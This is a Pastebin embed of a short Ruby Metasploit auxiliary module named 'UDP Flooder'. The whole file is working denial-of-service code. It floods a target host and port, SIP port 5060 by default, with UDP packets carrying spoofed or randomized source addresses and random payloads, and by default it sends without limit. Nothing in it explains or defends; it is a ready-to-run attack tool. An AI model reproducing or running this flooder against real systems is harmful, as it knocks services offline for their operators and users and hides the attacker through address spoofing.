document.write('
Data hosted with ♥ by Pastebin.com - Download Raw - See Original
  1. require \'msf/core\'
  2.  
  3. class Metasploit3 < Msf::Auxiliary
  4.  
  5.  include Msf::Auxiliary::Dos
  6.  include Msf::Exploit::Capture
  7.  
  8.  def initialize
  9.   super(
  10.     \'Name\'   => \'UDP Flooder\',
  11.     \'Description\'  => \'A simple UDP flooder\',
  12.     \'Author\'          => \'Jesus Perez\',
  13.     \'License\'       => MSF_LICENSE,
  14.     \'Version\'          => \'$Revision: 0 $\'
  15.   )
  16.  
  17.   register_options(
  18.   [
  19.    Opt::RPORT(5060),
  20.    OptAddress.new(\'SHOST\', [false, \'The spoofable source address (else randomizes)\']),
  21.    OptInt.new(\'SPORT\', [false, \'The source port (else randomizes)\']),
  22.    OptInt.new(\'NUM\', [false, \'Number of UDP packets to send (else unlimited)\']),
  23.    OptInt.new(\'SIZE\', [false, \'Size of UDP packets to send (else 256 bytes)\'])
  24.   ], self.class)
  25.   deregister_options(\'FILTER\',\'PCAPFILE\',\'SNAPLEN\')
  26.  end
  27.  
  28.  def sport
  29.   datastore[\'SPORT\'].to_i.zero? ? rand(65535)+1 : datastore[\'SPORT\'].to_i
  30.  end
  31.  
  32.  def rport
  33.   datastore[\'RPORT\'].to_i
  34.  end
  35.  
  36.  def srchost
  37.   datastore[\'SHOST\'] || [rand(0x100000000)].pack(\'N\').unpack(\'C*\').join(\'.\')
  38.  end
  39.  
  40.  def size
  41.   datastore[\'SIZE\'].to_i.zero? ? 256 : datastore[\'SIZE\'].to_i
  42.  end
  43.  
  44.  def run
  45.   open_pcap
  46.  
  47.   sent = 0
  48.   num = datastore[\'NUM\']
  49.  
  50.   print_status("UDP flooding #{rhost}:#{rport}...")
  51.  
  52.   p = PacketFu::UDPPacket.new
  53.   p.ip_daddr = rhost
  54.   p.udp_dport = rport
  55.  
  56.   while (num <= 0) or (sent < num)
  57.    p.ip_ttl = rand(128)+128
  58.    p.ip_saddr = srchost
  59.    p.udp_sport = sport
  60.    p.payload = rand(36**size).to_s(36)
  61.    p.recalc
  62.    capture_sendto(p,rhost)
  63.    sent += 1
  64.   end
  65.  
  66.   close_pcap
  67.  end
  68. end 
');